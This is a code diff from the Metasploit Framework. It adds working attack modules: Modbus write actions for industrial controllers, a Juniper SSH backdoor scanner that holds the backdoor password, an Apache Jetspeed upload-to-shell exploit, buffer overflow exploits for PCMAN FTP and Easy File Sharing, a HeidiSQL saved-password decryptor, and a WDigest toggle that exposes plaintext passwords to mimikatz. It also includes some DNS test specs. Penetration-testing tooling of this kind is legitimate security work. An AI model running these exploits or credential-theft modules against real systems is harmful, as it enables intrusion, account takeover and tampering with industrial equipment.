OptString.new('DATA_COILS', [false, "Data in binary to write (WRITE_COILS mode only) e.g. 0110"]),
OptString.new('DATA_REGISTERS', [false, "Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4"]),
OptInt.new('UNIT_NUMBER', [false, "Modbus unit number", 1]),
], self.class)
@ -63,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary
payload = [datastore['UNIT_NUMBER']].pack("c")
payload += [@function_code].pack("c")
payload += [datastore['DATA_ADDRESS']].pack("n")
payload += [1].pack("n")
payload += [datastore['NUMBER']].pack("n")
make_payload(payload)
end
@ -79,6 +86,21 @@ class MetasploitModule < Msf::Auxiliary
packet_data
end
def make_write_coils_payload(data, byte)
payload = [datastore['UNIT_NUMBER']].pack("c")
payload += [@function_code].pack("c")
payload += [datastore['DATA_ADDRESS']].pack("n")
payload += [datastore['DATA_COILS'].size].pack("n") # bit count
payload += [byte].pack("c") # byte count
for i in 0..(byte-1)
payload += [data[i]].pack("b*")
end
packet_data = make_payload(payload)
packet_data
end
def make_write_register_payload(data)
payload = [datastore['UNIT_NUMBER']].pack("c")
payload += [@function_code].pack("c")
@ -88,6 +110,19 @@ class MetasploitModule < Msf::Auxiliary
make_payload(payload)
end
def make_write_registers_payload(data, size)
payload = [datastore['UNIT_NUMBER']].pack("c")
payload += [@function_code].pack("c")
payload += [datastore['DATA_ADDRESS']].pack("n")
payload += [size].pack("n") # word count
payload += [2*size].pack("c") # byte count
for i in 0..(size-1)
payload += [data[i]].pack("n")
end
make_payload(payload)
end
def handle_error(response)
case response.reverse.unpack("c")[0].to_i
when 1
@ -106,34 +141,57 @@ class MetasploitModule < Msf::Auxiliary
return
end
def read_coil
def read_coils
if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535
print_error("Coils addresses go from 0 to 65535. You cannot go beyond.")
return
end
@function_code = 0x1
print_status("Sending READ COIL...")
print_status("Sending READ COILS...")
response = send_frame(make_read_payload)
values = []
if response.nil?
print_error("No answer for the READ COIL")
print_error("No answer for the READ COILS")
return
elsif response.unpack("C*")[7] == (0x80 | @function_code)
handle_error(response)
elsif response.unpack("C*")[7] == @function_code
value = response[9].unpack("c")[0]
print_good("Coil value at address #{datastore['DATA_ADDRESS']} : #{value}")
loop = (datastore['NUMBER']-1)/8
for i in 0..loop
bin_value = response[9+i].unpack("b*")[0]
list = bin_value.split("")
for j in 0..7
list[j] = list[j].to_i
values[i*8 + j] = list[j]
end
end
values = values[0..(datastore['NUMBER']-1)]
print_good("#{datastore['NUMBER']} coil values from address #{datastore['DATA_ADDRESS']} : ")
print_good("#{values}")
else
print_error("Unknown answer")
end
end
def read_register
def read_registers
if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535
print_error("Registers addresses go from 0 to 65535. You cannot go beyond.")
return
end
@function_code = 3
print_status("Sending READ REGISTER...")
print_status("Sending READ REGISTERS...")
response = send_frame(make_read_payload)
values = []
if response.nil?
print_error("No answer for the READ REGISTER")
print_error("No answer for the READ REGISTERS")
elsif response.unpack("C*")[7] == (0x80 | @function_code)
handle_error(response)
elsif response.unpack("C*")[7] == @function_code
value = response[9..10].unpack("n")[0]
print_good("Register value at address #{datastore['DATA_ADDRESS']} : #{value}")
for i in 0..(datastore['NUMBER']-1)
values.push(response[9+2*i..10+2*i].unpack("n")[0])
end
print_good("#{datastore['NUMBER']} register values from address #{datastore['DATA_ADDRESS']} : ")
print_good("#{values}")
else
print_error("Unknown answer")
end
@ -162,6 +220,39 @@ class MetasploitModule < Msf::Auxiliary
end
end
def write_coils
@function_code = 15
temp = datastore['DATA_COILS']
check = temp.split("")
if temp.size > 65535
print_error("DATA_COILS size must be between 0 and 65535")
return
end
for j in check
if j=="0" or j=="1"
else
print_error("DATA_COILS value must only contain 0s and 1s without space")
return
end
end
byte_number = (temp.size-1)/8 + 1
data = []
for i in 0..(byte_number-1)
data.push(temp[(i*8+0)..(i*8+7)])
end
print_status("Sending WRITE COILS...")
response = send_frame(make_write_coils_payload(data, byte_number))
if response.nil?
print_error("No answer for the WRITE COILS")
elsif response.unpack("C*")[7] == (0x80 | @function_code)
handle_error(response)
elsif response.unpack("C*")[7] == @function_code
print_good("Values #{datastore['DATA_COILS']} successfully written from coil address #{datastore['DATA_ADDRESS']}")
else
print_error("Unknown answer")
end
end
def write_register
@function_code = 6
if datastore['DATA'] < 0 || datastore['DATA'] > 65535
@ -181,18 +272,74 @@ class MetasploitModule < Msf::Auxiliary
end
end
def write_registers
@function_code = 16
check = datastore['DATA_REGISTERS'].split("")
for j in 0..(check.size-1)
if check[j] == "0" or check[j]== "1" or check[j]== "2" or check[j]== "3" or check[j]== "4" or check[j]== "5" or check[j]== "6" or check[j]== "7" or check[j]== "8" or check[j]== "9" or check[j]== ","
if check[j] == "," and check[j+1] == ","
print_error("DATA_REGISTERS cannot contain two consecutive commas")
return
end
else
print_error("DATA_REGISTERS value must only contain numbers and commas without space")
return
end
end
list = datastore['DATA_REGISTERS'].split(",")
if list.size+datastore['DATA_ADDRESS'] > 65535
print_error("Registers addresses go from 0 to 65535. You cannot go beyond.")
return
end
data = []
for i in 0..(list.size-1)
data[i] = list[i].to_i
end
for j in 0..(data.size-1)
if data[j] < 0 || data[j] > 65535
print_error("Each word to write must be an integer between 0 and 65535 in WRITE_REGISTERS mode")
return
end
end
print_status("Sending WRITE REGISTERS...")
response = send_frame(make_write_registers_payload(data, data.size))
if response.nil?
print_error("No answer for the WRITE REGISTERS")
elsif response.unpack("C*")[7] == (0x80 | @function_code)
handle_error(response)
elsif response.unpack("C*")[7] == @function_code
print_good("Values #{datastore['DATA_REGISTERS']} successfully written from registry address #{datastore['DATA_ADDRESS']}")
else
print_error("Unknown answer")
end
end
def run
@modbus_counter = 0x0000 # used for modbus frames
connect
case action.name
when "READ_COIL"
read_coil
when "READ_REGISTER"
read_register
when "READ_COILS"
read_coils
when "READ_REGISTERS"
read_registers
when "WRITE_COIL"
write_coil
when "WRITE_REGISTER"
write_register
when "WRITE_COILS"
if datastore['DATA_COILS'] == nil
print_error("The following option is needed in WRITE_COILS mode: DATA_COILS.")
return
else
write_coils
end
when "WRITE_REGISTERS"
if datastore['DATA_REGISTERS'] == nil
print_error("The following option is needed in WRITE_REGISTERS mode: DATA_REGISTERS.")
return
else
write_registers
end
else
print_error("Invalid ACTION")
end

View File

@ -0,0 +1,80 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Juniper SSH Backdoor Scanner',
'Description' => %q{
This module scans for the Juniper SSH backdoor (also valid on Telnet).
Any username is required, and the password is <<< %s(un='%s') = %u.
},
'Author' => [
'hdm', # Discovery
'h00die <mike[at]stcyrsecurity.com>' # Module
],
'References' => [
['CVE', '2015-7755'],
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'],
['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713']
],
'DisclosureDate' => 'Dec 20 2015',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(22)
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
def run_host(ip)
ssh_opts = {
port: rport,
auth_methods: ['password', 'keyboard-interactive'],
password: %q{<<< %s(un='%s') = %u}
}
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(
ip,
'admin',
ssh_opts
)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
if ssh
print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un='%s') = %u")
report_vuln(
:host => ip,
:name => self.name,
:refs => self.references,
:info => ssh.transport.server_version.version
)
end
end
def rport
datastore['RPORT']
end
end

View File

@ -0,0 +1,226 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Jetspeed Arbitrary File Upload',
'Description' => %q{
This module exploits the unsecured User Manager REST API and a ZIP file
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
versions, to upload and execute a shell.
Note: this exploit will create, use, and then delete a new admin user.
Warning: in testing, exploiting the file upload clobbered the web
interface beyond repair. No workaround has been found yet. Use this
module at your own risk. No check will be implemented.
},
'Author' => [
'Andreas Lindh', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-0710'],
['CVE', '2016-0709'],
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'win'],
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(8080)
])
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_warning(msg='')
super("#{peer} - #{msg}")
end
def exploit
print_status("Creating admin user: #{username}:#{password}")
create_admin_user
# This was originally a typo... but we're having so much fun!
print_status('Kenny Loggins in')
kenny_loggins
print_warning('You have entered the Danger Zone')
print_status("Uploading payload ZIP: #{zip_filename}")
upload_payload_zip
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
exec_jsp_shell
end
def cleanup
print_status("Deleting user: #{username}")
delete_user
super
end
#
# Exploit methods
#
def create_admin_user
send_request_cgi(
'method' => 'POST',
'uri' => '/jetspeed/services/usermanager/users',
'vars_post' => {
'name' => username,
'password' => password,
'password_confirm' => password
}
)
send_request_cgi(
'method' => 'POST',
'uri' => "/jetspeed/services/usermanager/users/#{username}",
'vars_post' => {
'user_enabled' => 'true',
'roles' => 'admin'
}
)
end
def kenny_loggins
res = send_request_cgi(
'method' => 'GET',
'uri' => '/jetspeed/login/redirector'
)
res = send_request_cgi!(
'method' => 'POST',
'uri' => '/jetspeed/login/j_security_check',
'cookie' => res.get_cookies,
'vars_post' => {
'j_username' => username,
'j_password' => password
}
)
@cookie = res.get_cookies
end
# Let's pretend we're mechanize
def import_file
res = send_request_cgi(
'method' => 'GET',
'uri' => '/jetspeed/portal/Administrative/site.psml',
'cookie' => @cookie
)
html = res.get_html_document
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
res = send_request_cgi!(
'method' => 'POST',
'uri' => import_export,
'cookie' => @cookie
)
html = res.get_html_document
html.at('//form[*//text() = "Import File"]/@action')
end
def upload_payload_zip
zip = Rex::Zip::Archive.new
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
mime = Rex::MIME::Message.new
mime.add_part(zip.pack, 'application/zip', 'binary',
%Q{form-data; name="fileInput"; filename="#{zip_filename}"})
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
case target['Platform']
when 'linux'
register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
when 'win'
register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
end
send_request_cgi(
'method' => 'POST',
'uri' => import_file,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'cookie' => @cookie,
'data' => mime.to_s
)
end
def exec_jsp_shell
send_request_cgi(
'method' => 'GET',
'uri' => "/jetspeed/#{jsp_filename}",
'cookie' => @cookie
)
end
#
# Cleanup methods
#
def delete_user
send_request_cgi(
'method' => 'DELETE',
'uri' => "/jetspeed/services/usermanager/users/#{username}"
)
end
# XXX: This is a hack because FileDropper doesn't delete directories
def on_new_session(session)
super
case target['Platform']
when 'linux'
print_status("Deleting user temp directory: ../temp/#{username}")
session.shell_command_token("rm -rf ../temp/#{username}")
when 'win'
print_status("Deleting user temp directory: ..\\temp\\#{username}")
session.shell_command_token("rd /s /q ..\\temp\\#{username}")
end
end
#
# Utility methods
#
def username
@username ||= Rex::Text.rand_text_alpha_lower(8)
end
def password
@password ||= Rex::Text.rand_text_alphanumeric(8)
end
def jsp_filename
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
end
end

View File

@ -0,0 +1,80 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
},
'Author' =>
[
'Jay Turla', # Initial Discovery -- @shipcod3
'Chris Higgins' # msf Module -- @ch1gg1ns
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '37731'],
[ 'OSVDB', '94624']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0A\x0D",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
'Offset' => 2007
}
],
],
'DisclosureDate' => 'Aug 07 2015',
'DefaultTarget' => 0))
end
def check
connect_login
disconnect
if /220 PCMan's FTP Server 2\.0/ === banner
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
connect_login
print_status('Generating payload...')
sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(16)
sploit << payload.encoded
send_cmd( ["PUT", sploit], false )
disconnect
end
end

View File

@ -0,0 +1,70 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
},
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '39008' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
],
'DefaultOptions' => {
'RPORT' => 80
},
'DisclosureDate' => 'Dec 2 2015',
'DefaultTarget' => 0))
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def exploit
connect
print_status("Sending exploit...")
sploit = "GET "
sploit << rand_text_alpha_upper(4061)
sploit << generate_seh_record(target.ret)
sploit << make_nops(19)
sploit << payload.encoded
sploit << make_nops(7)
sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
sploit << " HTTP/1.0\r\n\r\n"
sock.put(sploit)
print_good("Exploit Sent")
handler
disconnect
end
end

View File

@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Powershell
include Msf::Module::Deprecated
deprecated(Date.new(2016, 1, 1), 'exploit/windows/smb/psexec')
deprecated(Date.new(2016, 4, 30), 'exploit/windows/smb/psexec')
def initialize(info = {})
super(update_info(info,

View File

@ -0,0 +1,178 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather HeidiSQL Saved Password Extraction',
'Description' => %q{
This module extracts saved passwords from the HeidiSQL client. These
passwords are stored in the registry. They are encrypted with a custom algorithm.
This module extracts and decrypts these passwords.
},
'License' => MSF_LICENSE,
'Author' => ['h0ng10'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def run
userhives=load_missing_hives()
userhives.each do |hive|
next if hive['HKU'].nil?
print_status("Looking at Key #{hive['HKU']}")
begin
subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\HeidiSQL\\Servers")
if subkeys.blank?
print_status("HeidiSQL not installed for this user.")
next
end
service_types = { 0 => 'mysql',
1 => 'mysql-named-pipe',
2 => 'mysql-ssh',
3 => 'mssql-named-pipe',
4 => 'mssql',
5 => 'mssql-spx-ipx',
6 => 'mssql-banyan-vines',
7 => 'mssql-windows-rpc',
8 => 'postgres'}
subkeys.each do |site|
site_key = "#{hive['HKU']}\\Software\\HeidiSQL\\Servers\\#{site}"
host = registry_getvaldata(site_key, "Host") || ""
user = registry_getvaldata(site_key, "User") || ""
port = registry_getvaldata(site_key, "Port") || ""
db_type = registry_getvaldata(site_key, "NetType") || ""
prompt = registry_getvaldata(site_key, "LoginPrompt") || ""
ssh_user = registry_getvaldata(site_key, "SSHtunnelUser") || ""
ssh_host = registry_getvaldata(site_key, "SSHtunnelHost") || ""
ssh_port = registry_getvaldata(site_key, "SSHtunnelPort") || ""
ssh_pass = registry_getvaldata(site_key, "SSHtunnelPass") || ""
win_auth = registry_getvaldata(site_key, "WindowsAuth") || ""
epass = registry_getvaldata(site_key, "Password")
# skip if windows authentication is used (mssql only)
next if db_type.between?(3,7) and win_auth == 1
next if epass == nil or epass == "" or epass.length == 1 or prompt == 1
pass = decrypt(epass)
print_good("Service: #{service_types[db_type]} Host: #{host} Port: #{port} User: #{user} Password: #{pass}")
service_data = {
address: host == '127.0.0.1' ? rhost : host,
port: port,
service_name: service_types[db_type],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
# if we have a MySQL via SSH connection, we need to store the SSH credentials as well
if db_type == 2 then
print_good("Service: ssh Host: #{ssh_host} Port: #{ssh_port} User: #{ssh_user} Password: #{ssh_pass}")
service_data = {
address: ssh_host,
port: ssh_port,
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: ssh_pass,
username: ssh_user
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
end
rescue ::Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Cannot Access User SID: #{hive['HKU']} : #{e.message}")
end
end
unload_our_hives(userhives)
end
def decrypt(encoded)
decoded = ""
shift = Integer(encoded[-1,1])
encoded = encoded[0,encoded.length-1]
hex_chars = encoded.scan(/../)
hex_chars.each do |entry|
x = entry.to_i(16) - shift
decoded += x.chr(Encoding::UTF_8)
end
return decoded
end
end

View File

@ -0,0 +1,98 @@
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
USE_LOGON_CREDENTIAL = 'UseLogonCredential'
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Post Manage WDigest Credential Caching',
'Description' => %q{
On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables
credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.
Any subsequest logins will allow mimikatz to recover the plain text passwords from the system's memory.
},
'License' => MSF_LICENSE,
'Author' => [ 'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('ENABLE',[false,'Enable the WDigest Credential Cache.',true])
], self.class)
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
# Check if OS is 8/2012 or newer. If not, no need to set the registry key
# Can be backported to Windows 7, 2k8R2 but defaults to enabled...
if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i
print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
else
datastore['ENABLE'] ? wdigest_enable : wdigest_disable
end
end
def get_key
# Check if the key exists. Not present by default
print_status("Checking if the #{WDIGEST_REG_LOCATION}\\#{USE_LOGON_CREDENTIAL} DWORD exists...")
begin
wdvalue = registry_getvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL)
key_exists = !wdvalue.nil?
print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists
return wdvalue
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
end
end
def wdigest_enable
wdvalue = get_key
key_exists = !wdvalue.nil?
# If it is not present, create it
if key_exists && wdvalue == 1
print_good('Registry value is already set. WDigest Security Provider is enabled')
else
begin
verb = key_exists ? 'Setting' : 'Creating'
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...")
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')
print_good('WDigest Security Provider enabled')
else
print_error('Unable to access registry key - insufficient privileges?')
end
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
end
end
end
def wdigest_disable
wdvalue = get_key
key_exists = !wdvalue.nil?
# If it is not present, create it
if key_exists && wdvalue == 0
print_good('Registry value is already set. WDigest Security Provider is disabled')
else
begin
verb = key_exists ? 'Setting' : 'Creating'
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...")
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')
print_good('WDigest Security Provider disabled')
else
print_error('Unable to access registry key - insufficient privileges?')
end
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
end
end
end
end

View File

@ -0,0 +1,129 @@
require 'msf/core'
RSpec.describe Net::DNS::Names do
subject do
obj = Object.new
obj.extend(described_class)
end
describe '#dn_expand' do
context 'when offset is great than packet length' do
let(:packet) do
'AAAAA'
end
let(:offset) do
10
end
it 'raises an ExpandError exception' do
expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
end
end
context 'when packet length is less than offset + INT16SZ' do
let(:packet) do
"\xc0"
end
let(:offset) do
0
end
it 'raises an ExpandError exception' do
expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
end
end
context 'when packet length is less than offset + packet length' do
let(:packet) do
'AAAAA'
end
let(:offset) do
4
end
it 'raises an ExpandError exception' do
expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
end
end
end
describe '#pack_name' do
context 'when name data size is larger than 255 bytes' do
let(:name) do
'A' * (255+1)
end
it 'raises an ArgumentError exception' do
expect { subject.pack_name(name) }.to raise_exception(ArgumentError)
end
end
context 'when label data is larger than 63 bytes' do
let(:name) do
'A' * (63+1) + '.'
end
it 'raises an ArgumentError exception' do
expect { subject.pack_name(name) }.to raise_exception(ArgumentError)
end
end
end
describe '#names_array' do
let(:name) do
"AAA.AAA"
end
it 'returns an Array' do
expect(subject.names_array(name)).to be_kind_of(Array)
end
end
describe '#dn_comp' do
let(:name) do
'AAAA'
end
let(:offset) do
0
end
let(:compnames) do
{}
end
it 'returns 3 values' do
v = subject.dn_comp(name, offset, compnames)
expect(v.length).to eq(3)
expect(v[0]).to be_kind_of(String)
expect(v[1]).to be_kind_of(Fixnum)
expect(v[2]).to be_kind_of(Hash)
end
end
describe '#valid?' do
context 'when FQDN is valid' do
let(:fqdn) do
'example.com'
end
it 'returns the FQDN' do
expect(subject.valid?(fqdn)).to eq(fqdn)
end
end
context 'when FQDN is not valid' do
let(:fqdn) do
'INVALID'
end
it 'raises ArgumentError exception' do
expect { subject.valid?(fqdn) }.to raise_exception(ArgumentError)
end
end
end
end

View File

@ -1,640 +0,0 @@
load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path
require 'nokogiri'
require 'uri'
require 'spec_helper'
RSpec.describe MicrosoftPatchFinder do
before(:example) do
cli = Rex::Proto::Http::Client.new('127.0.0.1')
allow(cli).to receive(:connect)
allow(cli).to receive(:request_cgi)
allow(cli).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new)
allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
end
let(:technet) do
MicrosoftPatchFinder::SiteInfo::TECHNET
end
let(:microsoft) do
MicrosoftPatchFinder::SiteInfo::MICROSOFT
end
let(:googleapis) do
MicrosoftPatchFinder::SiteInfo::GOOGLEAPIS
end
describe MicrosoftPatchFinder::SiteInfo do
context 'Constants' do
context 'TECHNET' do
it 'returns 157.56.148.23 as the IP' do
expect(technet[:ip]).to eq('157.56.148.23')
end
it 'returns technet.microsoft.com as the vhost' do
expect(technet[:vhost]).to eq('technet.microsoft.com')
end
end
context 'MICROSOFT' do
it 'returns 104.72.230.162 as the IP' do
expect(microsoft[:ip]).to eq('104.72.230.162')
end
it 'returns www.microsoft.com as the vhost' do
expect(microsoft[:vhost]).to eq('www.microsoft.com')
end
end
context 'GOOGLEAPIS' do
it 'returns 74.125.28.95 as the IP' do
expect(googleapis[:ip]).to eq('74.125.28.95')
end
it 'returns www.googleapis.com as the vhost' do
expect(googleapis[:vhost]).to eq('www.googleapis.com')
end
end
end
end
describe MicrosoftPatchFinder::Helper do
subject(:object_helper) do
mod = Object.new
mod.extend MicrosoftPatchFinder::Helper
mod
end
describe '#print_debug' do
it 'prints a [DEBUG] message' do
output = get_stderr { object_helper.print_debug }
expect(output).to include('[DEBUG]')
end
end
describe '#print_status' do
it 'prints a [*] message' do
output = get_stderr { object_helper.print_status }
expect(output).to include('[*]')
end
end
describe '#print_error' do
it 'prints an [ERROR] message' do
output = get_stderr { object_helper.print_error }
expect(output).to include('[ERROR]')
end
end
describe '#print_line' do
it 'prints a regular message' do
msg = 'TEST'
output = get_stdout { object_helper.print_line(msg) }
expect(output).to eq("#{msg}\n")
end
end
describe '#send_http_request' do
it 'returns a Rex::Proto::Http::Response object' do
allow(object_helper).to receive(:print_debug)
res = object_helper.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET)
expect(res).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
describe MicrosoftPatchFinder::PatchLinkCollector do
let(:ms15_100_html) do
%Q|
<html>
<div id="mainBody">
<div>
<h2>
<div>
<span>Affected Software</span>
<div class="sectionblock">
<table>
<tr><td><a href="https://www.microsoft.com/downloads/details.aspx?familyid=1">fake link</a></td></tr>
</table>
</div>
</div>
</h2>
</div>
</div>
</html>
|
end
let(:ms07_029_html) do
%Q|
<html>
<div id="mainBody">
<ul>
<li>
<a href="http://technet.microsoft.com">Download the update</a>
</li>
</ul>
</div>
</html>
|
end
let(:ms03_039_html) do
%Q|
<html>
<div id="mainBody">
<div>
<div class="sectionblock">
<p>
<strong>Download locations</strong>
</p>
<ul>
<li>
<a href="http://technet.microsoft.com">Download</a>
</li>
</ul>
</div>
</div>
</div>
</html>
|
end
let(:ms07_030_html) do
%Q|
<html>
<div id="mainBody">
<p>
<strong>Affected Software</strong>
</p>
<table>
<tr><td><a href="http://technet.microsoft.com">Download</a></td></tr>
</div>
</html>
|
end
subject(:patch_link_collector) do
MicrosoftPatchFinder::PatchLinkCollector.new
end
before(:example) do
allow(patch_link_collector).to receive(:print_debug)
end
describe '#download_advisory' do
it 'returns a Rex::Proto::Http::Response object' do
res = patch_link_collector.download_advisory('ms15-100')
expect(res).to be_kind_of(Rex::Proto::Http::Response)
end
end
describe '#get_appropriate_pattern' do
it 'returns a pattern for ms15-100' do
expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a'
